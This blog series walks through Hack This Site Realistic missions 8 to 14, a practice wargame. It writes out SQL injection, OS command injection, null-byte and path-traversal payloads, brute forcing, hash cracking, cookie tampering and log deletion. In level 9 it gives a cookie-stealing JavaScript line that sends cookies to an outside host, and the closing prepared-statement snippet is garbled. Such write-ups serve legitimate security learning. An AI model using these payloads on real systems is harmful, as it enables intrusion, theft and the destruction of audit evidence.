Hack This Site: Realistic Web Mission – Level 14

Hello world, welcome to haxez where today we’re looking at Hack This Site Realistic Web Mission 14. Unfortunately, the mission currently appears to be broken so I was unable to solve it using the intended method. I would love for somebody to prove me wrong and show me how to complete this correctly. However, after hitting dead end after dead end I gave up and looked at a number of walkthroughs. The first guide I looked at was Aldeid’s. I also watched Chuck Moore’s youtube video and read this post on the official forums. All of these guides use a null byte to complete the mission. If you haven’t seen my other posts on the reality series you can do so here: Part 1, Part 2, Part 3, Part 4, Part 5, Part 6, Part 7 and, Part 8.

Realistic 14 Yuppers Internet Solutions
Yuppers Internet Solutions

Realistic 14 Introduction

We received a message from an unknown source who wants to expose Yuppers Internet Solutions for selling their user’s data. The anonymous client used to work as an intern for Yuppers but quit when they learned of their nefarious data selling activities. They weren’t able to escape with proof so they have asked us whether we’re able to hack in and find evidence of their data selling.

Realistic 14 Message From Unknown Client
Message From Unknown Client

Exploring The Realistic 14 Web Application

The website appears to have quite a bit going on. It has a search page, a news page, and a number of other pages. The web application appears to be using CGI scripts. CGI (common gateway interface) scripts are programs that execute as separate processes server-side.

Realistic 14 The Web Application
The Web Application

Web Application Exploitation – The Intended Way

As I mentioned, this mission appears to be broken. The intended way to complete this mission is to use a null byte on the news.cgi script. Using the null byte should reveal what files are in the root directory of the web application. With these files, you obtain further knowledge about the application which allows you to proceed to the next step. Unfortunately though, no matter what I tried, I couldn’t get the null byte to work. The news.cgi script has a parameter called story. The story parameter is responsible for calling news stories.

https://www.hackthissite.org/missions/realistic/14/news.cgi?story=1
Realistic 14 URL

The screenshot below illustrates an example of the news story parameter being used to load a story. As you can see from the URL, the story parameter is calling the 1st story which is then displayed in the box below the search form.

Realistic 14 News Page — Story 1
News Page — Story 1

To exploit this cgi script, we were supposed to append a null byte to the story parameter story=.%00. The full stop means the current directory. Upon inputting the null byte and executing the URL, we were supposed to receive a list of the contents of the current directory. Similar to using an ls OS command injection that we have done in previous missions.

Null Byte Injection
Null Byte Injection

However, this method doesn’t work. I’ve tried it with various different directory traversals and have attempted to use other escape characters. They either produce the message “Failed to load ..news” or they produce an error message saying it received malformed input. I submitted over 100 different payloads using Burp Intruder and had no success.

Realistic 14 Error Message — Failed to load
Error Message — Failed to load

Realistic 14 Further Investigation

To back this up further, if we capture the request with Burp Suite and send it to the repeater tool we can test payloads quickly. The screenshot below shows that the null byte is failing to escape the CGI script as ..news is being appended to the “Failed to load” message. I tried URL encoding the payload and many other methods of getting the exploit to trigger but all were unsuccessful.

Burp Suite — Repeater
Burp Suite — Repeater

Web Application Exploitation – My Way

In order to progress further, we need to know the contents of the root directory. In order to do this another way, I used the tool DIRB with the -X flag to specify that I want to see all CGI files. Sure enough, DIRB found the administrator.cgi and the moderator.cgi scripts that are needed to move forward.

DIRB
DIRB

Unfortunately, there is no way to work around the next part of the mission. This part of the mission requires you to use a null byte to read the contents of the moderator.cgi script. I tried it with the other page parameters but ended up with the same results. The example URLs below should allow you to read the contents of the different scripts. Sadly, they do not work anymore.

URL to read moderator.cgi

http://www.hackthissite.org/missions/realistic/14/news.cgi?story=moderator.cgi%00

URL to read administrator.cgi

http://www.hackthissite.org/missions/realistic/14/news.cgi?story=administrator.cgi%00

Unfortunately, as you can see from the screenshot below, these just result in error messages. Without being able to see the contents of those scripts, there is no way to progress forward in the mission without looking up the answer.

Error Message — Failed To Load
Error Message — Failed To Load

Moving Forward

If the null byte exploit would have worked then we would have been able to see the contents of the CGI script. The CGI script would have contained a username called 'isadmin'. With this username, we can navigate to the moderator.cgi file and login.

Realistic 14 Moderator.cgi Login
Moderator.cgi Login

Upon logging in, we’re greeted with a moderator panel. The panel offers two options, View Account Info and View Email Traffic.

Moderator Panel
Moderator Panel

If we submit an asterisk or wildcard to the Account Info Page then we get a list of all the information for our current user. The first two entries are the username and password.

Account Details
Account Details

Web Application – Privledge Escalation

With this information, we can navigate back to the index page of the application and use the Web Permit login form to log in to the application as 'web guy'.

Log in page
Log in page

Upon logging in and accessing the administrator panel, we should complete the mission.

Congratulations
Congratulations

Conclusions

It’s a shame that this challenge appears to be broken. If it isn’t then I would like to offer my apologies to the Hack This Site Team for making false claims. However, based on the information I have gathered and demonstrated in this write-up, I believe it is broken. It is one of the only examples I’ve come across of null byte injection so it’s really disappointing that it no longer works. I hope it get’s fixed.

Hack This Site: Realistic Web Mission – Level 13

Hello world, welcome to haxez where today we’re looking at Hack This Site Realistic Web Mission 13. This is a fun challenge that requires you to gather information from error messages. After obtaining that information, you need to discover the hidden URL to access the admin area. Ultimately, this mission requires knowledge of web application errors, password hashes, and hash cracking. If you haven’t seen my other posts on the realistic series you can do so here: Part 1, Part 2, Part 3, Part 4, Part 5, Part 6, Part 7 and, Part 8.

Realistic 13 Elbonian Republican Party
Elbonian Republican Party

Realistic 13 Introduction

We’ve received a message from Fr0zenB1t which explains that they are part of Anarchists of Elbonia. The reason for the message is because they would like us to thwart the upcoming election by hacking into their competitor’s web application. Furthermore, they explain that hacking into the application and taking it down, even temporarily could help delay the election.

Realistic 13 Message From Fr0zenB1t
Message From Fr0zenB1t

Exploring The Realistic 13 Web Application

The application is fairly basic. Notably, we have a navigation menu with a number of links. In the center, we have the content of those links. There is a mailing list that allows you to submit your email address but it isn’t vulnerable to any type of injection.

Realistic 13 Web Application — Index Page
Web Application — Index Page

The newsletter page has some interesting information that is worth making note of. It claims that there is a hidden login URL that requires a password. We could brute force the hidden URL using tools like DIRB or Go-Buster. However, that could take a long time depending on the naming of the directory.

Realistic 13 Press Release Page
Press Release Page

Web Application Errors

If we poke around on the pages a bit more and append question marks to the end of the URL, we can generate errors. This is possible because the pages are expecting something after the question mark. The image below shows an error on the Press Releases page. Notably, the error mentions the file path '/speeches/passwords;. However, it also mentions '.md5('Speeches')'. This suggests that there is a directory named with the md5 hash of the word Speeches.

Web Application — Error Messages
Web Application — Error Messages

Realistic 13 Hashing The Path

In order to discover what this directory is called, we need to create an md5 hash of the word Speeches (case sensitive). It is important to note that when creating the hash, you need to include the '-n' flag. Otherwise, the hash will be created with a newline resulting in the hash being completely different from the intended one. The code below demonstrates how to create an md5 hash from the word Speeches in bash.

Josephs-MacBook-Pro:~ Joe$ echo -n Speeches | md5
7e40c181f9221f9c613adf8bb8136ea8

After creating the hash, we can append it to the URL after '/speeches/password'. Visting that URL will produce a directory listing showing a 'passwords.fip' as shown in the image below.

Realistic 13 Hidden Directory
Hidden Directory

Clicking on the link to the file will open it in your browser. The file contains a long string or two strings separated by a colon. The strings appear to be password hashes. We could guess what the hashes are likely to be from the length of them.

7bc35830abab8fced52657d38ea048df:21232f297a57a5a743894a0e4a801fc3

Realistic 13 Hash Identification

Or we could use a hash identification tool. I found such a tool on homebrew called name-that-hash. It’s a simple tool that is easy to install and use. By analyzing the hash we are able to identify that the most likely candidate for the hash is an md5. With this information, we can attempt to crack it to reveal what the unencrypted string is.

name-that-hash -t '7bc35830abab8fced52657d38ea048df'
name-that-hash
name-that-hash

Cracking The Hash

Hashcat is a popular password cracking tool and can also be found via the homebrew website. By placing the discovered hashes into a text file, we can ask Hashcat to crack the hashes for us. I used the wordlist rockyou.txt to crack the hashes. I have included the syntax and a screenshot of the cracked hashes below.

hashcat –m 0 hash.txt /path/to/wordlists/rockyou.txt
Hashcat
Hashcat

The results are in and we have our two words. They appear to be a username and password combination.

21232f297a57a5a743894a0e4a801fc3:admin           
7bc35830abab8fced52657d38ea048df:moni1

With the hashes cracked, we can head to the admin area and attempt to log in. However, neither combination of the username and password works. We have been bamboozled.

Admin Log In
Admin Log In

Web Application Complete

Remember back to the press release page where it suggested there was a secret directory? what if they weren’t referring to the md5 Speeches directory. What if the /admin login page that we’re attempting to login to is fake? It turns out that it is fake and that the correct directory is the md5 hash of the word admin. By appending ‘21232f297a57a5a743894a0e4a801fc3’ to the URL, you get the proper login page and with that, you complete the mission.

Realistic 13 Congratulations
Congratulations

Conclusions

This was a fun challenge that shows the importance of minimizing information disclosure on web applications. It also shows the importance of using a strong encryption mechanism. Anyway, with that, I’m done. Feel free to check out the video below. Thanks.

Hack This Site: Realistic Web Mission – Level 12

Hello world, welcome to haxez where today we’re looking at Hack This Site Realistic Web Mission 12. This mission requires us to use the built-in functionality of a crudely implemented web application in order to exploit it. The application functionality is driven by a number of Perl scripts that when used in unintended ways have a detrimental impact on the security of the application. If you haven’t seen my other posts on the realistic series you can do so here: Part 1, Part 2, Part 3, Part 4, Part 5, Part 6, Part 7 and, Part 8.

Realistic 12 Heartland School District
Heartland School District

Realistic 12 Introduction

We’ve received a message from our client OutThere. He explains that their school has been overtaken by a cruel system administrator by the name of Jason Bardus. Furthermore, Jason has implemented a number of restrictions that prevent them from accessing anything on the web other than the school website. He also lets us know that the application is running on a Windows 95 machine and has asked us to free them from their internet prison.

Realistic 12 Message From OutThere
Message From OutThere

Exploring The Realistic 12 Web Application

If we navigate to the application we’re presented with a basic page with a URL input box. Notably, The page has three main links: Teacher Pages, Student Work, and Testing Scores. On the whole, visiting these pages doesn’t provide us with much that can exploit.

Realistic 12 Web Application
Web Application — Heartland School District

Web Browser Protocols

Most web browsers support a number of protocols. For example, when visiting a website, the HTTP or HTTPS protocol is prefixed to the start of the domain. In essence, HTTP and HTTPS are Hypertext Transfer Protocols and are responsible for getting the content you requested. In addition to HTTP and HTTPS, browsers support a number of other protocols such as FTP and the SMB File protocol.

Realistic 12 File Exploring

As the Web Application is attempting to mimic Browser functionality by including a URL input box. Perhaps the input box supports other browser protocols too. Through trial and error, we can view the contents of the web server’s local disk. By utilizing the file protocol we can specify a directory that we want to browse. Depending on the permissions of the service running the web server, we may only be able to access certain directories. Unless it’s poorly implemented and gives us access to the entire C:/ drive.

Realistic 12 Web Application — C Drive Listing
Web Application — C Drive Listing

Web Application Structure

The webservers local disk has a directory called WEB and within that directory is another directory called HTML. It is evident that this is the webroot of the application we’re trying to compromise. Notably, the Perl script for the browser functionality ‘internet.pl‘ is in the ‘cgi-bin‘ directory. Regardless, we have found an interesting page named ‘heartlandadminpanel.html‘.

Realistic 12 Web Application C:/Web/HTML Listing
Web Application C:/Web/HTML Listing

Picking Apart Perl

With this in mind, If we browse to the ‘heartlandadminpanel.html‘ page we are presented with a login form. If we inspect the login form we can see that it is calling another Perl script named 'heartlandadminpanel.pl'. The username and password for the admin panel could be hardcoded into the Perl script but we don’t have a way for reading it.

Web Application — Admin Login Form
Web Application — Admin Login Form

Realistic 12 Student Web Application

Revisiting the student web applications we find some standard teen cringe from Snezana Antic and Nolan Ethix. We get some wholesome content from Sarah Mathis but Joey frigging Simons is the hero we’ve been looking for. This kid has potential and hopefully, we can turn him to the dark side by using his application for our nefarious purposes. His application appears fairly basic like the rest of the Students but he has a guestbook. I like to believe that Joey Simmons looks like that computer kid meme. You know the one.

Realistic 12 Gif
Realistic 12 Joey Simmons — Web Application
Joey Simmons — Web Application

Exploiting The Guest Book

The guest book appears fairly basic. It has an input form that allows visitors to submit messages. However, if we inspect the input form we can see it’s calling a Perl script named ‘guest.pl‘. Furthermore, the form has a hidden value called write which is what allows it to write to the guest book. Perhaps, the script also has a read function that we use to our advantage.

Guest Book
Guest Book

So, we know the location of the Perl scripts is in the ‘cgi-bin‘ directory. We also know that there is a Perl script named ‘guest.pl‘ which could allow us to ‘read‘ the contents of another script called ‘heartlandadminpanel.pl‘. If we call the ‘guest.pl‘ script with the read function and point it to ‘heartlandadminpanel.pl‘ we might be able to find the credentials of the admin panel.

http://www.hackthissite.org/missions/realistic/12/cgi-bin/guest.pl?action=read&file=heartlandadminpanel.pl
Perl Authenticiation Script
Perl Authentication Script
#!perl
use strict;
print "Content-type: text/html\r\n\r\n";
require "db.cgi";
my $line;if ($ENV{QUERY_STRING} =~ /^username=jbardus&password=heartlandnetworkadministrator&blocked=/)
{
clearlist();
}
elsif ($ENV{QUERY_STRING} =~ /^username=jbardus&password=heartlandnetworkadministrator/)
{
print "

Admin Access Granted

To explain, we have used the 'guest.pl' script to read the ‘heartlandadminpanel.pl‘ script. When the page with the script loads, we can view the page source and capture the login credentials for the 'heartlandadminpanel.html‘ page. Now, if we head back to the 'heartlandadminpanel.html‘ page and use the credentials we just recovered, we should be able to log in. Upon logging in, we’re presented with a page that shows the blacklist. All we need to do is click the clear all button to remove the list and we should complete the mission.

Blacklist
Blacklist

Conclusions

This was a fun challenge that taught me a bit about Perl scripts and how speculating on functionality can lead to unexpected behaviors. It demonstrates that security compromises can occur as the result of using software in ways that it wasn’t intended. We didn’t brute force anything or trick a user into sending us credentials. We used the built-in functionality of the application to use the application in ways that weren’t intended. A great example of something that could be easily overlooked in a production environment.

Hack This Site: Realistic Web Mission – Level 11

Hello world, welcome to haxez where today we’re looking at Hack This Site Realistic Web Mission Level 11. I didn’t enjoy this challenge as much as the others. The reason why is because the mission no longer works as intended. I suspect this may be due to improvements in browser security or changes made to the application. The challenge initially required you to steal cookies through a user agent. However, that no longer appears to be the case. If you haven’t seen my other posts on the realistic series you can do so here: Part 1, Part 2, Part 3, Part 4, Part 5, Part 6, Part 7 and, Part 8

Realistic 11 BudgetServ Web Hosting
BudgetServ Web Hosting

Realistic 11 Introduction

We’ve received a message from Space46 who explains that their ISP has suspended their web application because they suspected they hacked another website on the server. He has requested that we recover a backup of his website which is still hosted on the server. The filename of the backup is “src.tar.gz”.

Realistic 11 Message From Space46
Message From Space46

Exploring The Realistic 11 Web Application

Navigating to the web application we can see it looks like a basic hosting provider’s website. There’s a number of navigation options but none of them appear to link to anything interesting. There is a webmail page which we could attempt to brute force if we can’t find anything else.

Realistic 11 Web Application — Budget Serv
Web Application — Budget Serv

Realistic 11 OS Command Injection

One thing that caught my eye was the way in which the application was calling pages. There appears to be a Perl script that is calling different files with the page parameter. You can see an example of the Perl script calling the features page below.

https://www.hackthissite.org/missions/realistic/11/page.pl?page=features

We can attempt to exploit this functionality and use it to our advantage by changing the value of the page parameter to a Linux operating system command. In this instance, we are going to use the ls command to list out the contents of the current directory.

https://www.hackthissite.org/missions/realistic/11/page.pl?page=|ls|

As you can see from the screenshot below, the command worked and we can see the contents of the directory. We should take note of all the files listed as they could help us in the future.

Realistic 11 Web Application — OS Command Injection
Web Application — OS Command Injection

Realistic 11 Further Exploration

The results of the OS command injection showed an admin directory. Navigating to that directory reveals a login page. Unfortunately, we don’t have any credentials for it yet so we will have continue exploring the web application.

Realistic 11 Admin Log In Page
Admin Log In Page

The next file in the listing is a “bs.dbase” file which appears to be a database file. Needless to say, we can’t access it but we should remember the name for later. The next directory is the “client_http_docs” directory which appears to be the directory that contains all the web applications that are being hosted. Navigating to this directory shows a number of directory listings including space46. Sadly, attempting to access this directory produces an error message informing us that the application has been suspended.

Directory Listing
Directory Listing

The other directories appear to serve other applications. One of these applications is the Wonder Diet as shown in the image below. Another is about a potato which is still under construction. Browsing these applications didn’t provide much that we could exploit.

The Wonder Diet
The Wonder Diet

The Right Web Application

The rightwayradio directory contains what appears to be a radio web application. It seems to have some basic functionality including a login form. There’s also a message on the landing age from the user “rsmith”. If we click on that user it takes us to the “userinfo” page about that user.

The Right Way Radio
The Right Way Radio

Exploiting Web Application Users

If we look at the URL we can deduce that the user page is being called by the id parameter in the userinfo script. Furthermore, we can see that the user “rsmith” has a user id of -1. If we experiment with the parameter, we can retrieve other users’ information.

client_http_docs/therightwayradio/?page=userinfo&id=-1

By changing the value of the parameter from -1 to 0, we can retrieve the page for the user “aclu_bomber_08290”. As can been seen from the image below, we also have the ability to change that user’s password. Initially, I thought this was absurd as we had not authenticated. However, I have seen a lot of odd application behaviours so this shouldn’t have surprised me that much.

Changing Password
Changing Password

Web Application SQL Functionality

After changing the user’s password, we’re able to log in to their account. Their account appears to have access to a moderation page that has an input box for SQL queries. We also know, from our OS command injection, that there was a database file called bs.dbase.

SQL Query
SQL Query

If we view the page source of the application, we can see that there is a hidden parameter called sql_db which has the value of rwr.dbase. This is not the database we want to query.

Web Application — Page Source
Web Application — Page Source

However, we can modify the parameter and tell it to query the database that we want to query. We also know the location of the database because our OS command injection was run in the root of the application. By modifying the parameter and telling it to move up three directories, we should be able to query the main database.

Changing Value
Changing Value

Dumping Web Users

As this is an SQL Lite database, we need to query the sqlite_master table to find out what tables are held within the database. We can do this by running the command below. I have included the output which informs us that there is a table called web_hosting.

SELECT name FROM sqlite_master WHERE type ='table';name
web_hosting

Next, we can tell the database to dump the entire contents of the web_hosting table.

SELECT * FROM web_hosting;

As you can see from the screenshot, we were able to get a list of users, passwords, email addresses and their web_package identifiers. We can see from this information that the user wonderdiet appears to be the administrator user. Their web_package id is 1 which suggests their site was the first site created. Additionally, they have admin in their email address.

Users and Passwords Returned
Users and Passwords Returned

Accessing Realistic 11 Admin Area

If we head back to the admin area that we discovered earlier. We should now be able to log in with the wonderdiet web user and their password of suckereveryminute. Once logged in to the admin area, we have a number of options including the ability to download a file.

Realistic 11 Admin Area
Admin Area

By clicking the download link, we are redirected to a page that shows the full path of the file being downloaded. We know from the directory listing and the filename given to us by the client where the backup file is located.

URL
URL

By modifying the URL to point to the src.tar.gz file that the client specified, we should be able to download their backup file and complete the mission. I have included the full URL path to the file below.

https://www.hackthissite.org/missions/realistic/11/admin/d.pl?file=/var/www/budgetserv/html/client_http_docs/space46/src.tar.gz

Congratulations you should now have completed this mission.

Hack This Site: Realistic Web Mission – Level 10

Hello world, welcome to haxez where today we’re looking at Hack This Site Realistic Web Mission 10. In other words, we’re going to demonstrate how not to implement authentication mechanisms. Overall, this mission was a lot of fun. It required creating a wordlist from a list of publicly listed teachers. Then, we used that wordlist to brute force the login page to gain access to the staff control panel. Once logged in, we had to flag ourselves as an admin by modifying our cookies. Then, we modified a post request to change the grades. If you haven’t seen my other posts on the realistic series you can do so here: Part 1, Part 2, Part 3, Part 4, Part 5, Part 6, Part 7 and, Part 8

Realistic 10 Holy Word High School
Holy Word High School

Realistic 10 Introduction

Poor Zach Sanchez is having a difficult time at school. In fact, he may not be able to graduate because his grades are too poor. As a result, he has messaged us to ask whether we could hack into his school’s online grade database and change his grades. Additionally, He has provided us with his username and password to allow us to explore the application.

Realistic 10 Message From Zach Sanchez
Message From Zach Sanchez

Exploring The Realistic 10 Web Application

The application is fairly basic, it has three links at the top and one halfway down the page. As can be seen from the image below, there isn’t a lot of functionality. For instance, the home button returns you to the home page, the staff listing takes you to a list of users, and the student access system takes you to a login page.

Realistic 10 Web Application — Holy Word High School
Web Application — Holy Word High School

If we click on the Student Access System we are presented with a login page that requests a username and password. Zach provided us with his login credentials so let’s test them out and see what it gives us access to.

Web Application — Authentication Mechanism
Web Application — Authentication Mechanism

Upon login in as Zach, we don’t get a lot of increased functionality. As seen from the image below, we can view his classes, his grades, and any comments left by the teacher. Not a lot we can do here to change his grades.

Zach Grades
Zach Grades

If we head back to the homepage and view the page source of the application, there is a reference to a page that isn’t displayed on the home page. Notably, this page is named staff.php which indicates that it could be a page that staff members use to log in. Perhaps we can use this page to access and change Zach’s grades.

Web Application — Page Source
Web Application — Page Source

Realistic 10 Web Application Brute Force

When visiting the staff.php page we’re presented with a login form. While we have a login page, we don’t have any credentials to use to log in. I’ve explored the application in detail and couldn’t find any additional information.

Staff Authentication
Staff Authentication

However, we do have a list of staff members on the teacher listing page. With this in mind, perhaps we could use this list to identify genuine users of the application. First I copied the user’s first and last names into a text file and saved it as usernames.txt.

Teacher Listing
Teacher Listing

Next, I cloned the username-anarchy repository from GitHub. As soon as the repository was downloaded I told it to generate a wordlist using the first name and last name, first initial and last name, and a few other combinations. I then saved the results.

Josephs-MacBook-Pro:username-anarchy Joe$ sudo ./username-anarchy --input-file /Users/Joe/Desktop/usernames.txt --select-format first,first.last,f.last,flast
adam
adam.smith
a.smith
asmith
alfred
alfred.johnson
a.johnson
ajohnson
corey
corey.beelke
c.beelke
cbeelke
edward
edward.anderson
e.anderson
eanderson
gordon
gordon.freeman
g.freeman
gfreeman
henry
henry.mathison
h.mathison
hmathison

I then refreshed the login page to capture the log-in request with Burp Suite. Once the request was captured, I sent it to the intruder tool. I then removed the automatically generated payload positions and highlighted the username and password parameter values and added the payload positions.

Burp Suite
Burp — Intruder

Launching The Attack

I selected the attack type, then pasted in the values from the wordlist in positions 1 and 2 on the payloads tab. With the attack ready, I clicked the launch attack button.

Realistc 10 Burp — Brute Force
Burp — Brute Force

After waiting around for a while, we found the correct username and password combination. As you can see from the image below, the response length from the application is different when the correct credentials are submitted. When the incorrect credentials are submitted the response lengths are all the same (1876). This is because the response from the server is the same. However, when the correct credentials are submitted, the response length is different because it is loading the page.

Burp Intruder — Results
Burp Intruder — Results

Logging In

With the correct credentials, we can now log in to the staff area as Samantha Miller. This area of the application appears to give us some more functionality but unfortunately, our access to it is restricted as we’re not an administrator.

Staff — Control Panel
Staff — Control Panel

In order to elevate our privileges to that of an administrator, we need to inspect the page and look at our cookies. We could intercept the request with Burp and change them for every request but that would make our life more difficult. The image below illustrates changing the value of the admin cookie from a 0 to a 1.

Web Application — Cookies
Web Application — Cookies

Realistc 10 Changing Grades

Now that we have administrator privileges we can access the change grades option. Unfortunately, it is too late to change the grades as they are about to be mailed out. However, if we view the source code of the application we can see that there is a POST method that includes a change grades function.

Web Application — Page Source
Web Application — Page Source

If we copy the POST request and modify it slightly, we can send it to Burp Repeater and use it to change the grades. The snippet of code below shows the post request with the values that need to be modified highlighted in bold. Change the grade value to 5 and then change the rec value to 0 and send the request, then increase the rec value by 1 and send the request again.

staff.php?action=changegrades&changeaction=modrec&rec=1&studentid=1&grade=5
Realistc 10 Burp — Repeater
Burp — Repeater

You can keep modifying and sending the request until the response changes from grade submitted to the congratulations message for completing the mission.

Realistc 10 Burp Response — Grades Updated
Burp Response — Grades Updated
Web Application — Grades Updated
Web Application — Grades Updated

And with that, you should have completed the message.

Congratulations
Congratulations

Hack This Site: Realistic Web Mission – Level 9

Hello world, welcome to haxez where today we’re looking at Hack This SIte Realistic Web Mission 9. To put it another way, we are going to take down the software giant crappy soft. No longer will it hold its employees to ransom while they produce subpar software. This mission was a lot of fun, the route to completion had more turns and twists than previous missions. In order to complete this mission, we will be using javascript to steal cookies. Furthermore, we then had to manipulate our cookies to access the payroll system and pay their employees. Once that was done, we had to manipulate a hidden form parameter to delete log files. If you haven’t seen my other posts on the realistic series you can do so here: Part 1, Part 2, Part 3, Part 4, Part 5, Part 6, Part 7 and, Part 8.

Realistic 9 Crappysoft Software
Crappysoft Software

Realistic 9 Introduction

As can be seen, we’ve received a message from someone called R Conner. To summarise, the client explains that their boss has stopped paying their salaries and that their rent is due. Given these points, they have asked us if we could hack into the online payroll system and process their payment. For this reason, they have provided their log-in credentials hoping that they could be of some assistance.

Realistic 9 Message From R Conner
Message From R Conner

Exploring The Realistic 9 Web Application

The application has a fairly basic design. Notably, there is a header at the top and a navigation menu on the left. Furthermore, the navigation menu contains a link to Home, Mailing List, Contact, and Demo. The mailing list allows the visitor to submit their email address. Additionally, the contact form does exactly what it says on the tin, it allows the visitor to send an email. The demo page allows the visitor to download a demo of their software.

Realistic 9 Web Application
Web Application

Hijacking The Web Cookies

The client gave us their credentials, let’s log in and see what’s going on. Unsurprisingly, once we have logged in we have a number of new options. Private Message and Pay Salaries. Clicking the Pay Salaries link produces an error message that we need to be an Administrator. Somehow, we will need to steal the Administrators credentials. Heading over to the private messages section, we have the option to send private messages to the owner/administrator.

In order to gain access to the administrator’s accounts, we will need to steal their cookies. With this intention, we would normally require deploying a PHP script to a remote web server. Of course, there are plenty available on GitHub but deploying one is beyond the scope of this walkthrough. Perhaps sometime in the future. By sending the following Javascript to our victim, we are performing a Cross-Site scripting attack that steals the cookies and sends them to our malicious domain.

javascript:void(window.location='https://haxez.org/stealcookies.php?'+document.cookie);

By sending the above script to the victim, you will receive a notification informing you of the victim’s cookies.

Realistic 9 Cross Site Scripting — Cookie Stealing
Cross Site Scripting — Cookie Stealing

Manipulating The Web Cookies

Now that we have the victim’s cookies, we can use them to access the payroll system. In order to do this, we will need to either modify the cookies directly in the browser or using a tool like Burp Suite to intercept and modify them. To demonstrate, the image below shows a request to the payday.php page that has been intercepted. It shows that the cookies strUsername and strPassword have been modified to those received from the cookie stealer exploit. Forward the request.

Burp Suite
Burp Suite — Request Intercepted

Paying Personell

In some way, it would be easier to modify the cookies directly in your browser. Doing it through Burp Suite requires you to modify the cookies for each request. For instance, we manipulated the cookies to access the payroll page but we need to intercept and modify them again to submit the Pay button as illustrated in the image below. Not modifying the cookies will send the default ones from your browser, which are the client’s cookies.

Web Application — Pay Personnel
Web Application — Pay Personnel

Realistic 9 Covering Our Tracks

Now that we have successfully brought balance back to R Conner’s world, we need to hide all evidence that we were here. After poking around the site a bit more, I discovered that directory listing was enabled on the files directory. Furthermore, this directory contains downloads, logs, and mailinglist directories. This information could be invaluable for exploiting the web application to delete the log files. We can’t delete them through the directory listing but perhaps we can find another way.

Directory Listing
Directory Listing

Heading back to the application Mailing List page we can see a message. The message says that the mailing list checks the list for any addresses without an ‘@’ symbol and deletes them. This appears to be active functionality so perhaps we can exploit it.

Web Application — Mailing List
Web Application — Mailing List

Exploiting The Mailing List

With this in mind, let’s view the source code of the application mailing list and work out what’s going on. We can see from the image below that a post request is being submitted to the subscribemailing.php page. We can also so that there is a hidden form value that specifies the path of the mailing list. There is a visible form that lets the user include their email address. What would happen if we submitted an email address without the ‘@’ symbol and changed the hidden form value to the log file?

Web Application — Page Source
Web Application — Page Source

You can do this either directly through your browser’s development console, or you can do it through Burp Suite like me. Using Burp Suite could help defeat some client-side checks (like checks for an ‘@’ symbol). First, you will need to turn intercept on and populate and submit a string to the mailing list. Second, you will need to modify the request to change the location from the addressess.txt file to the /files/logs/logs.txt file. Finally, you need to forward the request. That should allow you to complete your mission.

Congratulations
Congratulations

Hack This Site: Realistic Web Mission – Level 8

Hello world, welcome to haxez where today we’re looking at Hack This Site Realistic Web Mission Level 8. This mission requires us to perform an SQL injection to obtain the username of our victim. Once we have the username, we need to register an account and manipulate the cookies in order to transfer ten million dollars from our victim’s account to our client’s account. After that, we need to hide all evidence of our nefarious actions by deleting the log files. If you haven’t seen my other posts on the realistic series you can do so here: Part 1, Part 2, Part 3, Part 4, Part 5, Part 6, and Part 7.

Realistic 8 United Banks of America
United Banks of America

Realistic 8 Introduction

We’ve received a message from DarkOneWithANeed. The message explains that an entrepreneur by the name of Gary Hunter has deposited ten million dollars into his United Banks Of America bank account. The purpose of the deposit is so that he can donate it to a campaign. The campaign’s goal is to hunt down and lock up hackers. The client would like us to break in and steal this money.

Realistic 8 Message From DarkOneWithANeed
Message From DarkOneWithANeed

Exploring The Realistic 8 Web Application

First things first, let’s head over to the application and see what we’re dealing with. At first glance, the web application appears to be fairly basic. It has a number of pages including home, login, register, help, and user info. If we look back at the message, the first challenge is to find the account of Gary Hunter. Fortunately, there appears to be a User Info page.

Realistic 8 Web Application — United Banks of America
Web Application — United Banks of America

Realistic 8 Web Application User Info SQL Injection

The user info page allows us to search for users. However, if we search for the name Gary we get a single user returned. We can try searching for the letter A in hopes that it would return all users with an A in their name but that doesn’t work. If we input a single quotation mark we get an SQL error explaining that there was a problem getting username information from table ‘users’. This indicates, that the application is vulnerable to SQL injection.

Realistic 8 Web Application — User Info SQL Error
Web Application — User Info SQL Error

If we use the following payload in the search box we should get a list of users. The reason this works is that we’re escaping the syntax and adding our own and commenting out the rest. Our syntax is telling the SQL server to return user ‘a’ or anything that’s true (exists).

' or 1=1 --
Web Application — SQL Injection
Web Application — SQL Injection

Once we submit the payload, we should get a list of users returned. If we hit ctrl f on our keyboard we can search for Gary. The first result should be our victim Gary Hunter. Copy and paste his name and the –$$$$$ — value into your notes because we will need it later.

SQL Injection — Results
SQL Injection — Results

Move Money Cookie Manipulation

Now that we have our victim’s username, we need to transfer the ten million dollars from their account to our client’s account. In order to do this, we need to register our own account and see what functionality we have. I’ve registered the username haxez.

Web Application — Register Account
Web Application — Register Account

Once the account is created, log in. You should see that you have your account information and two options. Clear files in a personal folder and move money to a different account. Unfortunately, as in real life, we have no money in our bank account. However, perhaps there is a way for us to deceive the web application into think we’re Gary Hunter. If we pre-populate the move money option and load up our favorite web application penetration testing tool, Burp Suite. We can intercept the request before it is sent to the server.

Web Application — Move Money
Web Application — Move Money

Once you’ve populated the “Move Money” parameters, ensure Burp Suite intercept is on and click the Move Money button. You should see a window like the one below (depending on your theme, dark mode rules). If we analyze the request, you can see that the request is posting to movemoney.php. The contents of the request are two parameters, TO=dropCash and AMOUNT=1000000000. However, the value ten million may look odd because it is being URL encoded. You should also see that there are a number of cookies. The cookies we want to manipulate are “accountUsername” and “accountPassword". Fortunately, Burp allows us to modify these values directly before submitting them. Edit the cookies and replace them with the values we obtained from the SQL injection

(accountUsername=GaryWilliamHunter; accountPassword=-- $$$$$ --;). 

Forward the request.

Request — Interception and Manipulation
Request — Interception

Web Application Clear Files Hack

Now that we have committed the crime of the century, we need to cover our tracks. The client’s email advises us that the logs are kept in a directory called logFiles. After transferring the funds, you will be logged out of the application. Log back into the application and turn on Burp intercept again. Click the “Clear files in personal folder” button. Jump back to Burp and you should see the request. At the bottom of the headers, you will see the parameter dir=<usernameSQLFiles>. Change this value to logFiles and forward the request.

Request — Modification
Request — Modification

After that, you can head back to your browser and you should see that you have successfully completed the mission.

Congratulations
Congratulations

Conclusion

This was a fun challenge that allowed us to don the hood of the vigilante hacker once again. While the application was outdated, it demonstrated how poor design choices can lead to weaknesses in security. The SQL injection was possible because the application wasn’t using prepared statements. This could have been mitigated with something similar to the following.

$stmt = $conn->prepare"SELECT FROM Users (Username, Description) VALUES (?)"0;$stmt->bind_param("s", $Username, $Description);

